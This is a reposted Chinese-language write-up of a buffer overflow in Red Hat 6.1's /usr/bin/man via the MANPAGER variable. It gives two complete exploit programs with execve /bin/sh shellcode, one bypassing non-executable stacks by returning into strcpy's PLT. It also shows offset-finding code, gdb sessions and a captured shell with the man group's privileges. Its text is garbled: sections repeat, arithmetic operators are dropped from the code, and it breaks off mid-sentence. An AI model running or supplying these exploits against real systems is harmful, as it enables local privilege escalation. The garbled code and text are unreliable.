緩沖區(qū)溢出分析
互聯(lián)網(wǎng) 發(fā)布時間:2008-10-08 19:35:35 作者:佚名
我要評論

1. 簡介
我在 http://www.hack.co.za/ 上看到 Lam3rZ 小組的 Kil3r 寫的一個針對
redhat 6.1 (and others) /usr/bin/man exploit,下載回來后,直接編譯運行,并
沒有完成攻擊。注意到原exploit是針對不可執(zhí)行堆棧環(huán)境編寫的,而我測試的主機(jī)
沒有打不可執(zhí)
1. 簡介
我在 http://www.hack.co.za/ 上看到 Lam3rZ 小組的 Kil3r 寫的一個針對
redhat 6.1 (and others) /usr/bin/man exploit,下載回來后,直接編譯運行,并
沒有完成攻擊。注意到原exploit是針對不可執(zhí)行堆棧環(huán)境編寫的,而我測試的主機(jī)
沒有打不可執(zhí)行堆棧補(bǔ)丁等等。其實針對不可執(zhí)行堆棧環(huán)境的緩沖區(qū)溢出技術(shù)同樣可
以用于"常規(guī)"環(huán)境,所以就此次攻擊做一完整描述,拋磚引玉,見笑。
2. 問題描述
/usr/bin/man 會使用 MANPAGER 環(huán)境變量,關(guān)于這個變量的細(xì)節(jié)請 man man 查看。
當(dāng) MANPAGER 變量設(shè)置成超長字符串時,會導(dǎo)致 /usr/bin/man 執(zhí)行中緩沖區(qū)溢出。
[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x1'`
[scz@ /home/scz/src]> man ls
sh: A: command not found
Error executing formatting or display command.
System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu 10") | /usr/bin/gtbl |
/usr/bin/groff -Tlatin1 -mandoc | A) exited with status 127.
No manual entry for ls ^
[scz@ /home/scz/src]> |
|
------<------ 注意這里就是 MANPAGER 變量
注意到命令最后通過管道符'|'傳遞給了 MANPAGER 變量所指定的程序。
我們重復(fù)類似的操作,不斷加大 MANPAGER 變量的長度,直到發(fā)生溢出。用"二分法"
較快地確定出當(dāng)長度最小為 3945 時,緩沖區(qū)溢出并導(dǎo)致段錯誤。
[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x3945'`
[scz@ /home/scz/src]> man ls
sh: A...A: command not found
Error executing formatting or display command.
System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu 10") | /usr/bin/gtbl |
/usr/bin/groff -Tlatin1 -mandoc | A...A) exited with status 127.
Segmentation fault <-- -- -- 這里已經(jīng)出現(xiàn)段錯誤,通常是指針操作訪問非法地
[scz@ /home/scz/src]> 址造成,很可能某個函數(shù)的返回地址已經(jīng)被覆蓋掉
[scz@ /home/scz/src]> unset MANPAGER <-- -- -- 這里刪除該環(huán)境變量恢復(fù)正常
3. 攻擊思路
姑且假設(shè) /usr/bin/man 執(zhí)行過程中讀取 MANPAGER 變量到一個緩沖區(qū)中,由于未做
邊界檢查導(dǎo)致溢出,并覆蓋了某個函數(shù)的返回地址。顯然,覆蓋值來自 MANPAGER 變
量的值,換句話說,用于覆蓋的返回地址來自 MANPAGER 變量的值。
在"常規(guī)"環(huán)境下,理論上可以直接通過 MANPAGER 變量傳遞用于覆蓋的返回地址以及
shellcode本身,因為3945大小的緩沖區(qū)已經(jīng)足以做任何事情,也可以僅僅通過
MANPAGER 變量傳遞用于覆蓋的返回地址,利用其他自定義環(huán)境變量傳遞shellcode。
在不可執(zhí)行堆棧環(huán)境下,上述兩種傳遞shellcode的辦法都因為shellcode位于堆棧高
區(qū),無法覆蓋返回地址指向我們的shellcode。請參看tt在綠盟網(wǎng)絡(luò)安全月刊第8期中
的<< 繞過Linux不可執(zhí)行堆棧保護(hù)方法淺析 >>,具體的技術(shù)原理不再贅述。
Lam3rZ 小組的 Kil3r 所編寫的exploit code采用的技術(shù)是,用于覆蓋的返回地址指
向 strcpy() 函數(shù)的 PLT 入口(過程鏈接表入口),同時在堆棧中利用 MANPAGER 變
量的緩沖區(qū)溢出,偽造一個發(fā)生常規(guī) strcpy() 函數(shù)調(diào)用時所需要的假棧幀。
shellcode采用自定義環(huán)境變量的技術(shù)傳遞進(jìn)入堆棧高區(qū),因為使用了 execle() 函
數(shù)調(diào)用,該shellcode在 /usr/bin/man 進(jìn)程地址空間中的位置相對固定,很容易猜
測調(diào)整。當(dāng)返回地址被成功覆蓋后,程序流程隨著問題函數(shù)的返回而轉(zhuǎn)向一個
strcpy() 函數(shù)調(diào)用,strcpy() 函數(shù)調(diào)用會將shellcode從 /usr/bin/man 進(jìn)程的環(huán)
境變量區(qū)(堆棧高區(qū))拷貝到另外一個區(qū)域,這個區(qū)域要求在不可執(zhí)行堆棧環(huán)境下依舊
可寫可執(zhí)行,該區(qū)域必須在 /usr/bin/man 進(jìn)程的地址空間內(nèi)。顯然,這個區(qū)域的地
址需要提前猜測確定,因為該區(qū)域的地址作為 strcpy() 函數(shù)調(diào)用的目標(biāo)地址,必須
在偽造假棧幀時提供,后面我們會介紹猜測確定該區(qū)域地址的技術(shù)手段。
至于 strcpy() 函數(shù)調(diào)用完成,我們的shellcode已經(jīng)進(jìn)入可執(zhí)行區(qū)域,流程又是如
何轉(zhuǎn)向我們自己的shellcode,請參看tt在綠盟網(wǎng)絡(luò)安全月刊第8期中的
<< 繞過Linux不可執(zhí)行堆棧保護(hù)方法淺析 >>,內(nèi)有圖示,我看得頭都快白了,總算
理解,chat* sigh。
從上面的攻擊思路分析中完全可以看出,Lam3rZ 小組的 Kil3r 的攻擊手段適用范圍
要廣些,所以我們先采用這種技術(shù)完成一次攻擊。
4. 攻擊第一步,猜測確定幾個關(guān)鍵地址
(1) 確定 /usr/bin/man 中 strcpy() 函數(shù)的 PLT 入口
[scz@ /home/scz/src]> gdb /usr/bin/man
GNU gdb 4.18
This GDB was configured as "i386-redhat-linux"...
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x80490e4 <strcpy>
(gdb) q ^
[scz@ /home/scz/src]> |
|
#define STRCPYPLT 0x080490e4 ------>------
因為緩沖區(qū)溢出發(fā)生在 /usr/bin/man 進(jìn)程地址空間中,我們需要確定的 strcpy()
函數(shù)的 PLT 入口也應(yīng)該是 /usr/bin/man 中 strcpy() 函數(shù)的 PLT 入口。該入口
和 /usr/bin/man 文件二進(jìn)制映像有關(guān),對于某個確定的elf格式的程序文件,該
入口相對固定。
(2) 猜測確定一個在不可執(zhí)行堆棧環(huán)境下 /usr/bin/man 進(jìn)程空間中可寫可執(zhí)行的區(qū)
域地址
[scz@ /home/scz/src]> man ls
Ctrl-Z <-- -- -- 輸入 Ctrl-Z 掛起 man ls
[scz@ /home/scz/src]> jobs
[1] Stopped man ls
[scz@ /home/scz/src]> ps -ef | grep man
scz 2377 1860 0 12:03 pts/2 00:00:00 man ls
[scz@ /home/scz/src]> cat /proc/2377/maps
08050000-08051000 rw-p 00007000 03:06 36427 /usr/bin/man
[scz@ /home/scz/src]> fg %1
q <-- -- -- 退出 man ls
[scz@ /home/scz/src]>
這個區(qū)域顯示的是可讀寫,并沒有可執(zhí)行,但實際是可執(zhí)行的。我們挑選一個處在4
字節(jié)對齊邊界上的地址,將來shellcode最終被拷貝到該地址并在該地址上開始執(zhí)行。
#define SHELLCODETARGET 0x0805010c
注意,這里的 SHELLCODETARGET 需要出現(xiàn)在 MANPAGER 環(huán)境變量中,所以不得出現(xiàn)
零值。我當(dāng)時挑選了 0x08050100 ,結(jié)果總是不能正確溢出,后來才想起這個毛病所
在。
我們可以不通過 /proc/<pid>/maps 文件查找滿足條件的區(qū)域地址,而直接使用
strcpy() 函數(shù)的 GOT 入口(全局偏移表入口)地址。
[scz@ /home/scz/src]> gdb /usr/bin/man
GNU gdb 4.18
This GDB was configured as "i386-redhat-linux"...
(gdb) disas strcpy
0x80490e4 <strcpy> : jmp *0x8050cac
0x80490ea <strcpy 6> : push $0x1d8 <-- -- -- 動態(tài)鏈接器使用
0x80490ef <strcpy 11>: jmp 0x8048d24
(gdb) x/1wx 0x8050cac <-- -- -- 全局偏移表中 strcpy 入口地址
0x8050cac <_IO_stdin_used 11176>: 0x080490ea
(gdb) q
[scz@ /home/scz/src]>
#define STRCPYPLT 0x080490e4
#define STRCPYGOT 0x08050cac
#define SHELLCODETARGET STRCPYGOT
顯然 STRCPYGOT 符合可寫可執(zhí)行區(qū)域的條件??赡苣銚?dān)心直接使用 STRCPYGOT 作為
目標(biāo)地址,會影響到 strcpy() 函數(shù)本身的執(zhí)行過程。仔細(xì)研讀上面匯編代碼,使用
STRCPYGOT 的時候還沒有發(fā)生字符串拷貝,換句話說,發(fā)生字符串拷貝的時候已經(jīng)無
所謂 STRCPYGOT 處是什么內(nèi)容了,反正我們的shellcode是不會使用 strcpy() 函數(shù)
的。要是還不放心,就不要直接使用 STRCPYGOT 作為目標(biāo)地址,而使用 STRCPYGOT
4 作為目標(biāo)地址,只是不知道全局偏移表中 strcpy 入口地址的下一個又是什么函
數(shù)的入口地址,反正都無所謂。
(3) 猜測確定位于 /usr/bin/man 進(jìn)程環(huán)境變量區(qū)的shellcode地址
下面的討論基于一個假設(shè),你已經(jīng)明白elf文件的內(nèi)存布局。我們需要通過環(huán)境變量
傳遞shellcode進(jìn)入 /usr/bin/man 的進(jìn)程空間,strcpy() 使用這里的shellcode作
為拷貝源。猜測確定拷貝源地址是必須的。
#define VULPROGRAM "/usr/bin/man"
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )
這里唯一需要注意的是 sizeof( VULPROGRAM ) 包括了結(jié)尾的'\0'。如果擔(dān)心不夠精
確,可以在shellcode的前部增加 NOP 指令。
上面的技術(shù)適用于i386/Linux平臺,對于SPARC/Solaris平臺這樣相對復(fù)雜的情況,
還可以采用輔助程序觀察execle()之后的內(nèi)存布局,我們在條目6中介紹。
(4) 猜測確定問題緩沖區(qū)溢出點
實際上攻擊從問題描述就已經(jīng)開始了,發(fā)現(xiàn)問題的同時就開始了攻擊過程,問題緩沖
區(qū)溢出點顯然可以從 3945 9 = 3954 附近考慮。但是,不知道什么緣故,居然無
法得到core文件,也就無法深入調(diào)試,最后只好參看 Kil3r 的exploit code,發(fā)現(xiàn)
他使用的溢出點在4067,因為沒有core文件,無法確定發(fā)生了什么,為什么3954已經(jīng)
開始溢出,但真正有效溢出點卻在4067,中間相差這么多字節(jié),沒有core的日子真難
過。
#define VULPOINT 4067
5. 編寫針對不可執(zhí)行堆棧環(huán)境的溢出攻擊程序
/*
* File : ex_man.c for redhat 6.1 /usr/bin/man
* Author : Kil3r of Lam3rZ
* Rewriten : scz < mailto: scz@isbase.com >
* Complie : gcc -o ex_man ex_man.c
* Usage : ./ex_man
* Date : 2000-05-16
*/
#include <stdio.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
/* 一段標(biāo)準(zhǔn)的linux/i386下的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define STRCPYPLT 0x080490e4
#define STRCPYGOT 0x08050cac
#define RETADDRESS STRCPYPLT /* 用于覆蓋的返回地址 */
#define SHELLCODETARGET STRCPYGOT
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )
#define VULPROGRAM "/usr/bin/man"
#define VULPOINT 4067
#define SAFEPADLEN 24
#define PAD 'A'
#define SUCCESS 0
#define FAILURE -1
int main ( int argc, char * argv[] )
{
char * vulbuf;
char * env[3];
u_long * pointer;
u_long vulPoint = VULPOINT;
u_long vulBufSize = VULPOINT SAFEPADLEN;
fprintf( stderr, "Usage: %s [ vulPoint ]\n", argv[0] );
if ( argc > 1 )
{
vulPoint = strtoul( argv[1], NULL, 10 );
vulBufSize = vulPoint SAFEPADLEN;
}
vulbuf = ( char * )malloc( ( size_t )( vulBufSize ) );
if ( vulbuf == 0 )
{
fprintf( stderr, "Can't allocate memory %lu bytes\n", vulBufSize );
exit( FAILURE );
}
fprintf( stderr, "vulPoint = %lu\n", vulPoint );
memset( vulbuf, PAD, vulBufSize );
vulbuf[ vulBufSize - 1 ] = '\0';
pointer = ( u_long * )( vulbuf vulPoint );
*pointer = RETADDRESS;
*pointer = SHELLCODETARGET;
*pointer = SHELLCODETARGET;
*pointer = SHELLCODESOURCE;
memcpy( vulbuf, "MANPAGER=", 9 );
env[0] = vulbuf;
env[1] = shellcode;
env[2] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );
free( vulbuf );
return( SUCCESS );
} /* end of main */
[scz@ /home/scz/src]> cat > ex_man.c
[scz@ /home/scz/src]> gcc -o ex_man ex_man.c
[scz@ /home/scz/src]> ./ex_man
Usage: ./ex_man [ vulPoint ]
vulPoint = 4067
bash$ id
uid=505(scz) gid=100(users) egid=15(man) groups=100(users)
bash$ exit ^
exit |
[scz@ /home/scz/src]> |
溢出成功 ------>------
這里根本沒有使用傳統(tǒng)的 get_esp() 函數(shù),而且這個exploit code適用于常規(guī)環(huán)境。
但是這種溢出攻擊技術(shù),需要精確覆蓋返回地址,并且無法采用傳統(tǒng)的大段返回地址
覆蓋一片區(qū)域的方式,因為涉及到構(gòu)造 strcpy() 函數(shù)調(diào)用假棧幀的技術(shù)問題。注意
到,實際上我們現(xiàn)在唯一需要調(diào)整的就是溢出點,可以考慮暴力猜測調(diào)整溢出點。再
就是,這次關(guān)鍵沒有core dump出現(xiàn),一般都有core dump,那樣的話就可以不用暴力
猜測調(diào)整了。
我還碰到一個問題,該exploit code在SecureCRT或者CRT下執(zhí)行都無法取得shell,
雖然段溢出發(fā)生了。僅僅當(dāng)我使用telnet的時候才正確取得shell,原因未明。建議
如果實在無法取得shell,考慮換個終端工具試試(tt胡言亂語),faint
6. 一個輔助觀察execle()之后內(nèi)存布局的小程序
/*
* gcc -o ev ev.c
* scz < mailto: scz@isbase.com >
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#define SUCCESS 0
#define FAILURE -1
#define ENVDATA 0xbfffff00
#define ENVDATALEN 256
void outputBinary ( const unsigned char * byteArray, const size_t byteArrayLen )
{
u_long offset;
int i, j, k;
fprintf( stderr, "byteArray [ %lu bytes ] ----> \n", byteArrayLen );
if ( byteArrayLen <= 0 )
{
return;
}
i = 0;
offset = 0;
for ( k = byteArrayLen / 16; k > 0; k--, offset = 16 )
{
fprintf( stderr, "X ", offset );
for ( j = 0; j < 16; j , i )
{
if ( j == 8 )
{
fprintf( stderr, "-X", byteArray );
}
else
{
fprintf( stderr, " X", byteArray );
}
}
fprintf( stderr, " " );
i -= 16;
for ( j = 0; j < 16; j , i )
{
/* if ( isprint( (int)byteArray ) ) */
if ( ( byteArray >= ' ' ) && ( byteArray <= 255 ) )
{
fprintf( stderr, "%c", byteArray );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "\n" );
} /* end of for */
k = byteArrayLen - i;
if ( k <= 0 )
{
return;
}
fprintf( stderr, "X ", offset );
for ( j = 0 ; j < k; j , i )
{
if ( j == 8 )
{
fprintf( stderr, "-X", byteArray );
}
else
{
fprintf( stderr, " X", byteArray );
}
}
i -= k;
for ( j = 16 - k; j > 0; j-- )
{
fprintf( stderr, " " );
}
fprintf( stderr, " " );
for ( j = 0; j < k; j , i )
{
if ( ( byteArray >= ' ' ) && ( byteArray <= 255 ) )
{
fprintf( stderr, "%c", byteArray );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "\n" );
return;
} /* end of outputBinary */
int main ( int argc, char * argv[] )
{
u_char * envData = ( u_char * )ENVDATA;
size_t envDataLen = ENVDATALEN;
if ( argc > 1 )
{
/* 采用16進(jìn)制 */
envData = ( u_char * )strtoul( argv[1], NULL, 16 );
if ( argc > 2 )
{
/* 采用10進(jìn)制 */
envDataLen = ( size_t )strtoul( argv[2], NULL, 10 );
}
}
fprintf( stderr, "Usage: %s [ envData ] [ envDataLen ]\n", argv[0] );
fprintf( stderr, "envData = %p\n", envData );
fprintf( stderr, "envDataLen = %lu\n", envDataLen );
outputBinary( envData, envDataLen );
return( SUCCESS );
} /* end of main */
程序很簡單,就是顯示一段內(nèi)存映像。我們所要做的,就是把exploit code里的幾個
地方修改一下:
#define VULPROGRAM "./ev"
execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env );
這樣觀察得到的shellcode源地址顯然不適用,因為這里的./ev和/usr/bin/man長度
不一樣,熟悉elf文件格式的應(yīng)該可以理解這點。于是我們簡單處理一下:
cp ev usrbin_man
#define VULPROGRAM "./usrbin_man"
execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env );
此刻看到的shellcode源地址就和 /usr/bin/man 進(jìn)程空間環(huán)境變量區(qū)里的一致了。
必須意識到 execle() 第一個形參對進(jìn)程空間環(huán)境變量區(qū)的影響。
這種技術(shù)手段適用于SPARC/Solaris平臺,我們利用它可以確定很多關(guān)鍵性地址,可
以調(diào)整那些需要n字節(jié)邊界對齊的地方。
7. 編寫針對常規(guī)環(huán)境下的溢出攻擊程序
--------------------------------------------------------------------------
/*
* File : ex_man.c for redhat 6.1 /usr/bin/man
* Author : Kil3r of Lam3rZ
* Rewriten : warning3 < mailto: warning3@isbase.com >
* Complie : gcc -o ex_man ex_man.c
* Usage : ./ex_man
* Date : 2000-05-16
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
/* 一段標(biāo)準(zhǔn)的linux/i386下的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define VULPROGRAM "/usr/bin/man"
#define VULPOINT 4067
#define NOP 0x90
#define SUCCESS 0
#define FAILURE -1
#define OFFSET 2000
unsigned long get_esp ( void )
{
__asm__
("
movl %esp, 陎
");
} /* end of get_esp */
int main ( int argc, char * argv[] )
{
char * env[2];
u_long * pointer;
u_long retAddress;
char vulbuf[ VULPOINT 5 ];
memset( vulbuf, NOP, VULPOINT 5 );
memcpy( vulbuf VULPOINT - ( strlen( shellcode ) 20 ),
shellcode, strlen( shellcode ) );
retAddress = get_esp() OFFSET;
pointer = ( u_long * )( vulbuf VULPOINT );
*pointer = retAddress;
fprintf( stderr, "retAddress = 0xx\n", retAddress );
memcpy( vulbuf, "MANPAGER=", 9 );
vulbuf[ VULPOINT 4 ] = '\0';
env[0] = vulbuf;
env[1] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );
return( SUCCESS );
} /* end of main */
在調(diào)試這個程序的時候,我們發(fā)現(xiàn) MANPAGER 環(huán)境變量值長度在某個地方被檢查過,
只是這個檢查對于溢出攻擊取得shell并沒有起到保護(hù)作用。
為什么這里定義 OFFSET 為2000呢,可以采用條目6中的辦法來觀察一下execle()之
后環(huán)境變量區(qū)里的內(nèi)容,簡單修改如下:
--------------------------------------------------------------------------
#define VULPROGRAM "./usrbin_man"
... ...
execle( VULPROGRAM, VULPROGRAM, argv[1], NULL, env );
return( SUCCESS );
} /* end of main */
--------------------------------------------------------------------------
偏移為2000的時候返回地址落在NOP區(qū)內(nèi)。那么溢出點4067呢?沒辦法,還是從前一
個程序里直接獲知的,有core dump的時候可以調(diào)試確定。
8. 關(guān)于core文件以及確定溢出點
以前知道一點產(chǎn)生core dump的條件,但感受不深,今天都快要結(jié)束本篇灌水了,才
真正感受了一下。
我拷貝了一個/usr/bin/man到當(dāng)前目錄~scz/src下,然后定義問題程序為./man,此
時以scz用戶身份運行exploit code,故意不正確覆蓋返回地址,立即得到
core dump。
后來又以root身份在幾個不同的當(dāng)前目錄下測試不同的組合情況,有些時候會得到
core dump,有些時候只報告段溢出。core文件是內(nèi)存映像文件,與產(chǎn)生它的進(jìn)程密
切相關(guān),而產(chǎn)生進(jìn)程對應(yīng)硬盤文件的屬主、權(quán)限以及當(dāng)前執(zhí)行它的用戶身份都與是否
產(chǎn)生core dump有關(guān)。情況雖然很復(fù)雜很多,但至少有一點可以肯定,如果包括
exploit code和問題程序在內(nèi)的的所有文件都是當(dāng)前用戶所有,段溢出時一般都會
core dump在當(dāng)前目錄下。對于上面的/usr/bin/man,我們完全可以調(diào)試./man找到
溢出點。此外需要提醒的是,如果希望得到正確的core dump,一定要先刪除當(dāng)前目
錄下已經(jīng)存在的core文件。
之所以這樣限制core dump,應(yīng)該有其安全方面的考慮。下面我們來簡單看看如何確
定./man的溢出點。
--------------------------------------------------------------------------
/*
* gcc -o ex_man ex_man.c
*
* 目的就是產(chǎn)生core dump
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#define VULPROGRAM "./man"
#define PAD_1 'A'
#define PAD_2 'B'
#define SUCCESS 0
#define FAILURE -1
int main ( int argc, char * argv[] )
{
char * vulbuf = NULL;
char * env[2];
u_long vulbufSize;
if ( argc != 2 )
{
fprintf( stderr, "Usage: %s <vulbufSize>\n", argv[0] );
return( FAILURE );
}
vulbufSize = strtoul( argv[1], NULL, 10 );
vulbuf = ( char * )malloc( vulbufSize );
if ( vulbuf == NULL )
{
fprintf( stderr, "Can't allocate memory %lu bytes\n", vulbufSize );
return( FAILURE );
}
memset( vulbuf, PAD_1, vulbufSize );
vulbuf[ vulbufSize - 5 ] = PAD_2;
vulbuf[ vulbufSize - 4 ] = PAD_2;
vulbuf[ vulbufSize - 3 ] = PAD_2;
vulbuf[ vulbufSize - 2 ] = PAD_2;
vulbuf[ vulbufSize - 1 ] = '\0';
memcpy( vulbuf, "MANPAGER=", 9 );
env[0] = vulbuf;
env[1] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );
free( vulbuf );
return( SUCCESS );
} /* end of main */
--------------------------------------------------------------------------
[scz@ /home/scz/src]> ./ex_man 5000
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
GNU gdb 4.18
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
#0 0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]>
說明5000已經(jīng)導(dǎo)致返回地址被覆蓋成0x41414141,考慮減小該值。重復(fù)類似步驟,直
到發(fā)現(xiàn)4063仍未溢出,4064開始溢出,并core dump。
[scz@ /home/scz/src]> ./ex_man 4063
[scz@ /home/scz/src]> ./ex_man 4064
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
GNU gdb 4.18
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
#0 0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4065
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
Core was generated by `./man ls'.
Program terminated with signal 11, Segmentation fault.
#0 0x0 in ?? ()
(gdb) bt
#0 0x0 in ?? ()
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4066
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
(gdb) bt
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
Cannot access memory at address 0xbf004236.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4067
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
30 ../sysdeps/generic/strcpy.c: No such file or directory.
(gdb) bt
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
Cannot access memory at address 0x424236.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4068
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x804a362 in strcpy () at ../sysdeps/generic/strcpy.c:30
30 ../sysdeps/generic/strcpy.c: No such file or directory.
(gdb) bt
#0 0x804a362 in strcpy () at ../sysdeps/generic/strcpy.c:30
#1 0x807d948 in ?? ()
Cannot access memory at address 0x42424242.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4069
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x8040042 in ?? ()
(gdb) bt
#0 0x8040042 in ?? ()
Cannot access memory at address 0x42424241.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4070
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x8004242 in ?? ()
(gdb) bt
#0 0x8004242 in ?? ()
Cannot access memory at address 0x42424141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4071
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x424242 in ?? ()
(gdb) bt
#0 0x424242 in ?? ()
Cannot access memory at address 0x42414141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4072
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x42424242 in ?? ()
(gdb) bt
#0 0x42424242 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4073
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x42424241 in ?? ()
(gdb) bt
#0 0x42424241 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]>
在從4064到4073的分析觀察過程中,我們顯然已經(jīng)看到,當(dāng)取值4072的時候會覆蓋一
個函數(shù)指針還是返回地址什么的,總之是個會導(dǎo)致控制流轉(zhuǎn)移的4字節(jié)。注意到我們
測試程序中代碼,溢出點應(yīng)該在 4072 - 5 = 4067。至此,猜測確定溢出點的工作完
成了。至于為什么通過execle()執(zhí)行和通過命令行shell執(zhí)行時溢出點相差較遠(yuǎn),我
也不清楚??磥硪院蟠_定溢出點,直接用程序猜測確定要準(zhǔn)確些。
core文件的好處很多,這里僅僅列舉了一種應(yīng)用。以后看到core我就要看看什么寶貝
其中,說不好一個shadow就來了。grin
9. 總結(jié)
a) 可以利用條目6的辦法觀察execle()之后環(huán)境變量區(qū)內(nèi)容,確定很多地址。
b) 無法溢出取得shell的時候嘗試換個終端登錄工具。
c) 沒有core dump,你就去死吧。一定要想法得到core文件,進(jìn)而調(diào)試確定問題程序
溢出點。得不到core時仔細(xì)檢查相關(guān)文件權(quán)限以及當(dāng)前用戶身份。
我在 http://www.hack.co.za/ 上看到 Lam3rZ 小組的 Kil3r 寫的一個針對
redhat 6.1 (and others) /usr/bin/man exploit,下載回來后,直接編譯運行,并
沒有完成攻擊。注意到原exploit是針對不可執(zhí)行堆棧環(huán)境編寫的,而我測試的主機(jī)
沒有打不可執(zhí)行堆棧補(bǔ)丁等等。其實針對不可執(zhí)行堆棧環(huán)境的緩沖區(qū)溢出技術(shù)同樣可
以用于"常規(guī)"環(huán)境,所以就此次攻擊做一完整描述,拋磚引玉,見笑。
2. 問題描述
/usr/bin/man 會使用 MANPAGER 環(huán)境變量,關(guān)于這個變量的細(xì)節(jié)請 man man 查看。
當(dāng) MANPAGER 變量設(shè)置成超長字符串時,會導(dǎo)致 /usr/bin/man 執(zhí)行中緩沖區(qū)溢出。
[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x1'`
[scz@ /home/scz/src]> man ls
sh: A: command not found
Error executing formatting or display command.
System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu 10") | /usr/bin/gtbl |
/usr/bin/groff -Tlatin1 -mandoc | A) exited with status 127.
No manual entry for ls ^
[scz@ /home/scz/src]> |
|
------<------ 注意這里就是 MANPAGER 變量
注意到命令最后通過管道符'|'傳遞給了 MANPAGER 變量所指定的程序。
我們重復(fù)類似的操作,不斷加大 MANPAGER 變量的長度,直到發(fā)生溢出。用"二分法"
較快地確定出當(dāng)長度最小為 3945 時,緩沖區(qū)溢出并導(dǎo)致段錯誤。
[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x3945'`
[scz@ /home/scz/src]> man ls
sh: A...A: command not found
Error executing formatting or display command.
System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu 10") | /usr/bin/gtbl |
/usr/bin/groff -Tlatin1 -mandoc | A...A) exited with status 127.
Segmentation fault <-- -- -- 這里已經(jīng)出現(xiàn)段錯誤,通常是指針操作訪問非法地
[scz@ /home/scz/src]> 址造成,很可能某個函數(shù)的返回地址已經(jīng)被覆蓋掉
[scz@ /home/scz/src]> unset MANPAGER <-- -- -- 這里刪除該環(huán)境變量恢復(fù)正常
3. 攻擊思路
姑且假設(shè) /usr/bin/man 執(zhí)行過程中讀取 MANPAGER 變量到一個緩沖區(qū)中,由于未做
邊界檢查導(dǎo)致溢出,并覆蓋了某個函數(shù)的返回地址。顯然,覆蓋值來自 MANPAGER 變
量的值,換句話說,用于覆蓋的返回地址來自 MANPAGER 變量的值。
在"常規(guī)"環(huán)境下,理論上可以直接通過 MANPAGER 變量傳遞用于覆蓋的返回地址以及
shellcode本身,因為3945大小的緩沖區(qū)已經(jīng)足以做任何事情,也可以僅僅通過
MANPAGER 變量傳遞用于覆蓋的返回地址,利用其他自定義環(huán)境變量傳遞shellcode。
在不可執(zhí)行堆棧環(huán)境下,上述兩種傳遞shellcode的辦法都因為shellcode位于堆棧高
